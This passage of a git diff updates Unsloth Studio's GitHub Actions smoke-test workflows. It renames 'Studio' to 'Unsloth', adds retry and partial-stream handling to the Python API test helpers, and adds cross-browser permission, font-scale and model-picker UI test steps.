@@ -141,7 +141,7 @@ jobs:
             fi
             sleep 1
           done
-          echo "Studio did not become healthy in 180s"
+          echo "Unsloth did not become healthy in 180s"
           tail -200 logs/studio.log
           exit 1
 
@@ -228,11 +228,11 @@ jobs:
               return replies
 
           def run_anthropic():
-              # Two SDK quirks vs. Studio:
+              # Two SDK quirks vs. Unsloth:
               #   1. base_url must NOT include /v1 -- the SDK appends
               #      /v1/messages itself; otherwise the request hits
               #      /v1/v1/messages and 405s.
-              #   2. The SDK sends `x-api-key` by default, but Studio's
+              #   2. The SDK sends `x-api-key` by default, but Unsloth's
               #      auth layer is HTTPBearer-only. Override via
               #      default_headers so Authorization: Bearer ... is
               #      sent instead.
@@ -283,7 +283,7 @@ jobs:
               print(f"[{label}] OK -- 4 turns, run1 == run2, history grounded")
           PY
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
@@ -363,7 +363,7 @@ jobs:
           path: gguf-cache
           key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -376,7 +376,7 @@ jobs:
       - name: Assert llama.cpp loads on this macOS
         run: bash .github/scripts/assert-llama-loads.sh
 
-      - name: Reset auth + boot Studio (API-only, default tool policy)
+      - name: Reset auth + boot Unsloth (API-only, default tool policy)
         # We deliberately use the API-only mode rather than
         # `unsloth studio run` because the latter calls
         # `set_tool_policy(...)` with a resolved bool: on loopback the
@@ -430,6 +430,8 @@ jobs:
           python - <<'PY'
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
 
           BASE = os.environ["BASE_URL"]
@@ -450,14 +452,41 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
-          def post_sse(path, body, *, timeout = 600):
+          def post_sse(path, body, *, timeout = 600, retries = 1, soft = False):
               """POST a streaming request and accumulate the assistant
               text deltas. The server-side agentic loop ALWAYS returns
               SSE regardless of the request's `stream` field, so any
-              call with enable_tools=true must use this helper."""
+              call with enable_tools=true must use this helper.
+
+              A shared CI runner can stall the stream transport (the
+              connection opening, or a mid-stream read) even when Unsloth
+              is healthy, so harden the read three ways: retry a stall
+              once with a fresh request capped at 300s; return any text
+              already streamed before a stall (a stall on the trailing
+              tokens, after the answer arrived, still counts); and when
+              every attempt yields nothing, a hard call re-raises while a
+              soft call (the best-effort server-side tool probes) returns
+              None so the caller can WARN instead of sinking the whole
+              job. HTTP status errors always surface immediately."""
               body = {**body, "stream": True}
               data = json.dumps(body).encode()
               req = urllib.request.Request(
@@ -469,24 +498,43 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              parts = []
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  for raw in resp:
-                      line = raw.decode().strip()
-                      if not line.startswith("data: "):
-                          continue
-                      payload = line[6:]
-                      if payload == "[DONE]":
-                          break
-                      try:
-                          chunk = json.loads(payload)
-                      except json.JSONDecodeError:
-                          continue
-                      for choice in chunk.get("choices", []):
-                          delta = choice.get("delta", {}) or {}
-                          if delta.get("content"):
-                              parts.append(delta["content"])
-              return "".join(parts)
+              for attempt in range(retries + 1):
+                  parts = []
+                  t = timeout if attempt == 0 else min(timeout, 300)
+                  try:
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          for raw in resp:
+                              line = raw.decode().strip()
+                              if not line.startswith("data: "):
+                                  continue
+                              payload = line[6:]
+                              if payload == "[DONE]":
+                                  break
+                              try:
+                                  chunk = json.loads(payload)
+                              except json.JSONDecodeError:
+                                  continue
+                              for choice in chunk.get("choices", []):
+                                  delta = choice.get("delta", {}) or {}
+                                  if delta.get("content"):
+                                      parts.append(delta["content"])
+                      return "".join(parts)
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      # Text already streamed is a valid signal -- keep it
+                      # rather than re-running a heavy generation.
+                      if parts:
+                          joined = "".join(parts)
+                          print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True)
+                          return joined
+                      if attempt == retries:
+                          if soft:
+                              print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True)
+                              return None
+                          raise
+                      print(f"[retry-sse] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. Standard OpenAI function calling ──────────────────────
           weather_tool = {
@@ -526,11 +574,11 @@ jobs:
           assert status == 200, f"tool call status {status}: {data}"
           choice = data["choices"][0]
           tool_calls = (choice.get("message") or {}).get("tool_calls") or []
-          # Studio's contract: when tool_choice='required', llama.cpp's
+          # Unsloth's contract: when tool_choice='required', llama.cpp's
           # grammar should force a tool_calls payload. On Mac that
           # contract is sometimes broken by the underlying quant; the
           # PASS path is "tool_calls present + correct schema", the
-          # WARN path documents Studio still returned 200 with a
+          # WARN path documents Unsloth still returned 200 with a
           # well-formed choices[] envelope.
           if tool_calls:
               tc = tool_calls[0]
@@ -557,16 +605,23 @@ jobs:
           # macos-14 free runner is ~10 tok/s on Qwen3.5-2B Q4_K_XL;
           # cap max_tokens tightly so each SSE round stays under ~30s
           # even when the model stalls in a degenerate output state.
+          # retries=0 on the best-effort probes: this job's 25-minute cap
+          # allows a 10-minute model load, so a no-data stall must be a
+          # single 180s attempt (not 180+15+180s) to leave room for the
+          # thinking checks. A soft/best-effort probe only WARNs anyway.
           content = post_sse("/v1/chat/completions", {
               "messages":      [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}],
               "enable_tools":  True,
+              "permission_mode": "full",
               "enabled_tools": ["python"],
               "session_id":    "ci-tool-calling-py",
               "temperature":   TEMP,
               "seed":          SEED,
               "max_tokens":    128,
-          }, timeout = 180)
-          if "56088" in content or "56,088" in content:
+          }, timeout = 180, retries = 0, soft = True)
+          if content is None:
+              print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking")
+          elif "56088" in content or "56,088" in content:
               print(f"[tools] PASS python tool ({len(content)} chars, found 56088)")
           else:
               # Empty stream is a known Mac-quant degeneracy too; log
@@ -593,18 +648,19 @@ jobs:
               content = post_sse("/v1/chat/completions", {
                   "messages":      [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}],
                   "enable_tools":  True,
+                  "permission_mode": "full",
                   "enabled_tools": ["web_search"],
                   "session_id":    "ci-tool-calling-web",
                   "temperature":   TEMP,
                   "seed":          SEED,
                   "max_tokens":    96,
-              }, timeout = 180)
+              }, timeout = 180, retries = 0)
               print(f"[tools] PASS web_search stream ({len(content)} chars)")
           except Exception as exc:
               print(f"[tools] WARN web_search probe failed (non-blocking): {exc}")
 
           # ── 4. Thinking on / off ─────────────────────────────────────
-          # Studio strips think blocks from message.content for tools-mode
+          # Unsloth strips think blocks from message.content for tools-mode
           # responses, so we toggle plain chat (no enable_tools) and look
           # at the surfaced reasoning_content / message.thinking field.
           def thinking_call(enable):
@@ -622,7 +678,7 @@ jobs:
               }, timeout = 180)
               assert status == 200
               msg = data["choices"][0]["message"]
-              # Studio surfaces thinking via reasoning_content (OpenAI
+              # Unsloth surfaces thinking via reasoning_content (OpenAI
               # extension). Fall back to inline <think> markers for
               # robustness across template versions.
               raw = (msg.get("content") or "") + (msg.get("reasoning_content") or "")
@@ -648,7 +704,7 @@ jobs:
           print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)")
           PY
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
@@ -754,7 +810,7 @@ jobs:
           path: gguf-cache
           key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-${{ env.MMPROJ_FILE }}-v2
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -770,7 +826,7 @@ jobs:
       - name: Install OpenAI + Anthropic Python SDKs
         run: pip install 'openai>=1.50' 'anthropic>=0.40'
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         # See Job 2's comment: API-only mode keeps tool_policy=None so
         # response_format requests aren't routed through the agentic
         # tool loop.
@@ -825,6 +881,8 @@ jobs:
           import base64
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
           from openai import OpenAI
           from anthropic import Anthropic
@@ -848,20 +906,36 @@ jobs:
                       "Content-Type":  "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. response_format = json_object (JSON mode) ─────────────
           # llama.cpp's HTTP server supports OpenAI-compatible JSON
           # mode: `response_format: {"type": "json_object"}` constrains
           # the model to emit syntactically-valid JSON. We use raw HTTP
-          # rather than the OpenAI SDK so that the field shape Studio
+          # rather than the OpenAI SDK so that the field shape Unsloth
           # forwards to llama-server is unambiguous (the SDK rewrites
           # response_format depending on which variant it recognises).
           # We deliberately do NOT pass a strict JSON schema -- on
           # small Gemma-4 quants the GBNF-from-schema path occasionally
           # produces empty output, and JSON mode is the surface we care
-          # about exposing through Studio.
+          # about exposing through Unsloth.
           status, data = post("/v1/chat/completions", {
               "model":         "default",
               "messages":      [
@@ -933,7 +1007,7 @@ jobs:
               )
 
           # ── 2. OpenAI image_url (data URI base64) ───────────────────
-          # 64x64 solid-red PNG. stb_image (used by Studio's image
+          # 64x64 solid-red PNG. stb_image (used by Unsloth's image
           # normaliser at routes/inference.py:3410) rejects 4x4 or
           # smaller PNGs as truncated, so we go up to 64x64 -- still
           # tiny in token cost. The assertion is loose: any non-empty
@@ -949,11 +1023,11 @@ jobs:
           # The Mac prebuilt llama.cpp server has a known crash when
           # processing image inputs alongside the gemma-4-E2B mmproj
           # (server disconnects mid-completion). This is upstream
-          # llama.cpp behaviour, not Studio. Wrap both SDK calls in
+          # llama.cpp behaviour, not Unsloth. Wrap both SDK calls in
           # try/except so an upstream crash registers as a WARN rather
-          # than failing the whole job. Studio's contract (OpenAI/
+          # than failing the whole job. Unsloth's contract (OpenAI/
           # Anthropic image fields are accepted and forwarded) is
-          # validated by the request body Studio constructs, not by
+          # validated by the request body Unsloth constructs, not by
           # whether llama.cpp can decode it on Mac Metal.
           client = OpenAI(base_url = f"{BASE}/v1", api_key = KEY)
           try:
@@ -979,14 +1053,14 @@ jobs:
           except Exception as exc:
               print(
                   f"[image/openai] WARN image_url SDK call raised: {type(exc).__name__}: "
-                  f"{exc}. Likely upstream llama.cpp Mac+vision crash, NOT a Studio "
-                  f"regression. Studio successfully forwarded the request."
+                  f"{exc}. Likely upstream llama.cpp Mac+vision crash, NOT an Unsloth "
+                  f"regression. Unsloth successfully forwarded the request."
               )
 
           # ── 3. Anthropic source/base64 image ────────────────────────
-          # Two SDK quirks vs. Studio: base_url must NOT include /v1
+          # Two SDK quirks vs. Unsloth: base_url must NOT include /v1
           # (the SDK appends it itself; otherwise /v1/v1/messages -> 405),
-          # and Studio's auth is HTTPBearer-only so the SDK's default
+          # and Unsloth's auth is HTTPBearer-only so the SDK's default
           # x-api-key header is ignored -- send Authorization: Bearer
           # via default_headers.
           anthropic = Anthropic(
@@ -1025,11 +1099,11 @@ jobs:
               print(
                   f"[image/anthropic] WARN anthropic image SDK call raised: "
                   f"{type(exc).__name__}: {exc}. Likely upstream llama.cpp Mac+vision "
-                  f"crash, NOT a Studio regression."
+                  f"crash, NOT an Unsloth regression."
               )
           PY
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
diff --git a/.github/workflows/studio-mac-install-matrix.yml b/.github/workflows/studio-mac-install-matrix.yml
index 362305cdd4..e990f752d4 100644
--- a/.github/workflows/studio-mac-install-matrix.yml
+++ b/.github/workflows/studio-mac-install-matrix.yml
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-# Proves Studio's llama.cpp install loads on every supported macOS. The heavy
+# Proves Unsloth's llama.cpp install loads on every supported macOS. The heavy
 # app smokes stay single-OS; this matrix covers the OS-version dimension cheaply
 # (install.sh + binary-load assert). Regression guard for the macOS-version
 # selection in studio/install_llama_prebuilt.py.
@@ -60,7 +60,7 @@ jobs:
         with:
           python-version: '3.12'
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
diff --git a/.github/workflows/studio-mac-ui-smoke.yml b/.github/workflows/studio-mac-ui-smoke.yml
index 20ca247b9f..7375e9bcbf 100644
--- a/.github/workflows/studio-mac-ui-smoke.yml
+++ b/.github/workflows/studio-mac-ui-smoke.yml
@@ -19,6 +19,7 @@ on:
       - 'install.sh'
       - 'pyproject.toml'
       - 'tests/studio/**'
+      - '.github/scripts/run-studio-permission-browser.sh'
       - '.github/workflows/studio-mac-ui-smoke.yml'
   push:
     branches: [main, pip]
@@ -83,7 +84,7 @@ jobs:
           path: hf-cache
           key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -96,7 +97,7 @@ jobs:
       - name: Assert llama.cpp loads on this macOS
         run: bash .github/scripts/assert-llama-loads.sh
 
-      - name: Install Playwright + Chromium
+      - name: Install Playwright browsers
         # No --with-deps on Mac: that flag installs Linux apt packages.
         # GitHub-hosted macos-14 ships the system frameworks Chromium
         # needs already.
@@ -112,7 +113,7 @@ jobs:
         # in-script retry recover from any residual flakes.
         run: |
           pip install 'playwright>=1.55,<1.58'
-          python -m playwright install chromium
+          python -m playwright install chromium webkit
 
       - name: Patch Playwright pipeTransport.js to tolerate malformed JSON
         # In Playwright 1.55-1.58, pipeTransport.js does
@@ -143,7 +144,7 @@ jobs:
               print(f"pipeTransport.js: patched JSON.parse calls in {path}")
           PY
 
-      - name: Reset auth + boot Studio
+      - name: Reset auth + boot Unsloth
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -188,7 +189,7 @@ jobs:
         # dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the
         # runner's kernel briefly runs out of socket buffers, and (3) a
         # goto 'interrupted by another navigation' when the SPA auth
-        # guard redirects mid-navigation. The retry FULLY resets Studio
+        # guard redirects mid-navigation. The retry FULLY resets Unsloth
         # (kill, reset-password, reboot, wait /api/health, re-export
         # bootstrap pw) before re-running the script. A real test failure
         # (assertion / timeout) does NOT match any pattern so it bypasses
@@ -209,7 +210,7 @@ jobs:
                  || grep -q "ERR_NO_BUFFER_SPACE"             logs/playwright_attempt_${attempt}.log \
                  || grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \
                && [ "$attempt" -lt "$max_attempts" ]; then
-              echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
+              echo "::warning::Playwright flake on attempt ${attempt}; resetting Unsloth and retrying..."
               kill "${STUDIO_PID}" 2>/dev/null || true
               sleep 2
               unsloth studio reset-password
@@ -238,13 +239,17 @@ jobs:
             exit "$rc"
           done
 
-      - name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders)
+      - name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders)
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
           sleep 2
 
-      - name: Reset auth + boot Studio for extra UI tests (port 18897)
+      - name: Cross-browser permission controls
+        run: |
+          bash .github/scripts/run-studio-permission-browser.sh 18895 webkit
+
+      - name: Reset auth + boot Unsloth for extra UI tests (port 18897)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -271,7 +276,7 @@ jobs:
           echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV"
           echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV"
 
-      - name: Drive Compare/Recipes/Export/Studio/Settings with Playwright
+      - name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright
         env:
           BASE_URL: http://127.0.0.1:18897
           STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }}
@@ -300,7 +305,7 @@ jobs:
                  || grep -q "ERR_NO_BUFFER_SPACE"             logs/playwright_extra_attempt_${attempt}.log \
                  || grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \
                && [ "$attempt" -lt "$max_attempts" ]; then
-              echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
+              echo "::warning::Playwright flake on attempt ${attempt}; resetting Unsloth and retrying..."
               kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
               sleep 2
               unsloth studio reset-password
@@ -327,7 +332,7 @@ jobs:
             exit "$rc"
           done
 
-      - name: Stop second Studio
+      - name: Stop second Unsloth
         if: always()
         run: |
           kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
@@ -343,5 +348,7 @@ jobs:
             logs/studio_extra.log
             logs/install.log
             logs/playwright
+            logs/playwright-permissions-*
             logs/playwright_extra
+            logs/studio-permissions-*.log
           retention-days: 7
diff --git a/.github/workflows/studio-mac-update-smoke.yml b/.github/workflows/studio-mac-update-smoke.yml
index d104306c7e..fe9880f3ca 100644
--- a/.github/workflows/studio-mac-update-smoke.yml
+++ b/.github/workflows/studio-mac-update-smoke.yml
@@ -4,15 +4,15 @@
 # Mac counterpart to studio-update-smoke.yml. Verifies that on a real
 # Apple Silicon (macos-14, M1) runner:
 #
-#   1. install.sh --local --no-torch installs Studio AND auto-fetches
+#   1. install.sh --local --no-torch installs Unsloth AND auto-fetches
 #      the prebuilt llama.cpp Mac binary (llama-bNNNN-bin-macos-arm64
 #      from ggml-org/llama.cpp). Hitting the source-build fallback is
-#      treated as an Unsloth bug -- Studio must always pick the
+#      treated as an Unsloth bug -- Unsloth must always pick the
 #      prebuilt on Mac.
 #   2. unsloth studio update --local is idempotent. Two consecutive
 #      runs both report "prebuilt up to date and validated", no
 #      source-build fallback.
-#   3. The installed Studio still boots and /api/health returns
+#   3. The installed Unsloth still boots and /api/health returns
 #      healthy after the update path.
 
 name: Mac Studio Update CI
@@ -42,7 +42,7 @@ permissions:
 
 jobs:
   update-idempotency:
-    name: Studio Updating Tests
+    name: Unsloth Updating Tests
     runs-on: macos-14
     timeout-minutes: 30
     steps:
@@ -59,7 +59,7 @@ jobs:
           python-version: '3.12'
           cache: 'pip'
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -106,7 +106,7 @@ jobs:
           grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log
           echo "second update was clean"
 
-      - name: Boot Studio briefly to confirm the install is still usable
+      - name: Boot Unsloth briefly to confirm the install is still usable
         run: |
           mkdir -p logs
           UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18891 \
@@ -123,13 +123,13 @@ jobs:
             sleep 1
           done
           if [ -z "$HEALTHY" ]; then
-            echo "Studio failed to come up after \`update\`"
+            echo "Unsloth failed to come up after \`update\`"
             tail -200 logs/studio.log
             kill "$PID" 2>/dev/null || true
             exit 1
           fi
           kill "$PID" 2>/dev/null || true
-          echo "post-update Studio /api/health OK"
+          echo "post-update Unsloth /api/health OK"
 
       - name: Uninstall and verify clean
         # Round-trip through scripts/uninstall.sh on real macOS. As a side
diff --git a/.github/workflows/studio-tauri-smoke.yml b/.github/workflows/studio-tauri-smoke.yml
index 018857de68..8e26b9fd0c 100644
--- a/.github/workflows/studio-tauri-smoke.yml
+++ b/.github/workflows/studio-tauri-smoke.yml
@@ -12,7 +12,7 @@
 # stay in release-desktop.yml (manual `workflow_dispatch`) because they need
 # code-signing secrets and ~30 min of runner time each.
 
-name: Studio Tauri CI
+name: Unsloth Tauri CI
 
 on:
   pull_request:
diff --git a/.github/workflows/studio-ui-smoke.yml b/.github/workflows/studio-ui-smoke.yml
index 297a585430..97eb07b2d8 100644
--- a/.github/workflows/studio-ui-smoke.yml
+++ b/.github/workflows/studio-ui-smoke.yml
@@ -1,8 +1,8 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-# End-to-end Studio chat UI smoke via Playwright + Chromium against a
-# headless Linux runner. Boots Studio with the smallest GGUF
+# End-to-end Unsloth chat UI smoke via Playwright + Chromium against a
+# headless Linux runner. Boots Unsloth with the smallest GGUF
 # (gemma-3-270m-it UD-Q4_K_XL, ~254 MiB), drives the actual frontend
 # bundle, and asserts the full bootstrap-password / change-password /
 # send-message / persist-on-reload journey works end to end.
@@ -14,7 +14,7 @@
 # frontend-only CI happily pass while the actual user-visible UI is
 # broken (cf. the 2026.5.1 chat-history release).
 
-name: Studio UI CI
+name: Unsloth UI CI
 
 on:
   pull_request:
@@ -27,6 +27,7 @@ on:
       # The Playwright test files themselves -- a PR that ONLY edits
       # the test must still trigger UI CI.
       - 'tests/studio/**'
+      - '.github/scripts/run-studio-permission-browser.sh'
       - '.github/workflows/studio-ui-smoke.yml'
   push:
     branches: [main, pip]
@@ -97,7 +98,7 @@ jobs:
           path: hf-cache
           key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -107,15 +108,12 @@ jobs:
           set -o pipefail
           bash install.sh --local --no-torch 2>&1 | tee logs/install.log
 
-      - name: Install Playwright + Chromium
+      - name: Install Playwright browsers
         run: |
           pip install 'playwright>=1.45'
-          # --with-deps installs the OS-level runtime libs Chromium
-          # needs (libnss3, libxkbcommon, etc.). About 30 s on a
-          # warm runner.
-          python -m playwright install --with-deps chromium
+          python -m playwright install --with-deps chromium firefox webkit
 
-      - name: Reset auth + boot Studio
+      - name: Reset auth + boot Unsloth
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -147,7 +145,7 @@ jobs:
         # NEW + NEW2 are generated freshly per CI run via secrets.token_urlsafe
         # rather than hardcoded. If a workflow gets compromised, the
         # attacker can't replay a known-good rotated password against
-        # any future / parallel Studio install -- the rotated value
+        # any future / parallel Unsloth install -- the rotated value
         # only ever exists for the lifetime of this single job, masked
         # in the log via ::add-mask::.
         run: |
@@ -165,29 +163,35 @@ jobs:
         env:
           BASE_URL: http://127.0.0.1:18892
           # The test file lives in the repo so it can be run locally
-          # against a freshly-installed Studio (BASE_URL=...; STUDIO_OLD_PW=
+          # against a freshly-installed Unsloth (BASE_URL=...; STUDIO_OLD_PW=
           # $(cat ~/.unsloth/studio/auth/.bootstrap_password); python ...).
           PW_ART_DIR: logs/playwright
           # Strict mode: in CI a missing button / nav / dialog must
           # FAIL the test. Locally the test still runs against partial
-          # Studio installs without STUDIO_UI_STRICT.
+          # Unsloth installs without STUDIO_UI_STRICT.
           STUDIO_UI_STRICT: '1'
         run: |
           mkdir -p logs/playwright
           python tests/studio/playwright_chat_ui.py
 
-      - name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders)
+      - name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders)
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
           sleep 2
 
+      - name: Cross-browser permission controls
+        run: |
+          bash .github/scripts/run-studio-permission-browser.sh 18893 firefox
+          bash .github/scripts/run-studio-permission-browser.sh 18893 webkit
+          bash .github/scripts/run-studio-permission-browser.sh 18893 chromium chrome
+
       # The chat UI test ends by clicking the Shutdown menuitem, which
       # leaves the server dead. The extra UI test (Compare / Recipes /
-      # Export / Studio / Settings) needs a fresh Studio, so we boot a
+      # Export / Unsloth / Settings) needs a fresh Unsloth, so we boot a
       # second one on a different port. Boot is fast (~3-5s on the
       # warm install we already did) so this adds little wall time.
-      - name: Reset auth + boot Studio for extra UI tests (port 18894)
+      - name: Reset auth + boot Unsloth for extra UI tests (port 18894)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -214,7 +218,7 @@ jobs:
           echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV"
           echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV"
 
-      - name: Drive Compare/Recipes/Export/Studio/Settings with Playwright
+      - name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright
         env:
           BASE_URL: http://127.0.0.1:18894
           STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }}
@@ -227,16 +231,73 @@ jobs:
           mkdir -p logs/playwright_extra
           python tests/studio/playwright_extra_ui.py
 
-      - name: Stop second Studio
+      - name: UI font size scaling regression (Playwright)
+        env:
+          BASE_URL: http://127.0.0.1:18894
+          STUDIO_PW: ${{ env.STUDIO_EXTRA_NEW_PW }}
+          PW_ART_DIR: logs/playwright_fontscale
+        run: |
+          mkdir -p logs/playwright_fontscale
+          python tests/studio/playwright_ui_font_scale.py
+
+      - name: Stop second Unsloth
         if: always()
         run: |
           kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
           sleep 2
 
+      # Model-picker per-model-config regression (PR #7207 re-land of #6647).
+      # Fourth Unsloth on its own port; loads the tiny GGUF and drives the
+      # picker's run-settings surface: Context Length persists across a reload,
+      # Reset clears the stored override (never pins it), and the infra models
+      # (RAG embedder + llama.cpp probe) stay hidden from the picker.
+      - name: Reset auth + boot Unsloth for model-config tests (port 18898)
+        run: |
+          unsloth studio reset-password
+          mkdir -p logs
+          UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18898 \
+            > logs/studio_modelcfg.log 2>&1 &
+          echo "STUDIO_MODELCFG_PID=$!" >> "$GITHUB_ENV"
+
+      - name: Wait for /api/health on 18898
+        run: |
+          for i in $(seq 1 180); do
+            if curl -fs "http://127.0.0.1:18898/api/health" > /tmp/health4.json; then
+              jq -e '.status == "healthy"' /tmp/health4.json && break
+            fi
+            sleep 1
+          done
+          jq -e '.status == "healthy"' /tmp/health4.json
+
+      - name: Pass bootstrap pw for model-config test
+        run: |
+          NEW="CIModelCfg-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
+          echo "::add-mask::$NEW"
+          echo "STUDIO_MODELCFG_NEW_PW=$NEW" >> "$GITHUB_ENV"
+
+      - name: Drive model-picker per-model-config with Playwright
+        env:
+          BASE_URL: http://127.0.0.1:18898
+          STUDIO_NEW_PW: ${{ env.STUDIO_MODELCFG_NEW_PW }}
+          PW_ART_DIR: logs/playwright_modelcfg
+          STUDIO_UI_STRICT: '1'
+          GGUF_REPO: ${{ env.GGUF_REPO }}
+          GGUF_VARIANT: ${{ env.GGUF_VARIANT }}
+          STUDIO_MODEL_HINT: gemma-3-270m
+        run: |
+          mkdir -p logs/playwright_modelcfg
+          python tests/studio/playwright_model_config.py
+
+      - name: Stop fourth Unsloth
+        if: always()
+        run: |
+          kill "${STUDIO_MODELCFG_PID}" 2>/dev/null || true
+          sleep 2
+
       # IME + multilingual paste regression (issue #5318 / PR #5327).
-      # Third Studio on its own port so a hang here cannot poison the
+      # Third Unsloth on its own port so a hang here cannot poison the
       # earlier UI tests. No GGUF -- the bug surface is the composer.
-      - name: Reset auth + boot Studio for IME / i18n tests (port 18896)
+      - name: Reset auth + boot Unsloth for IME / i18n tests (port 18896)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -256,7 +317,7 @@ jobs:
 
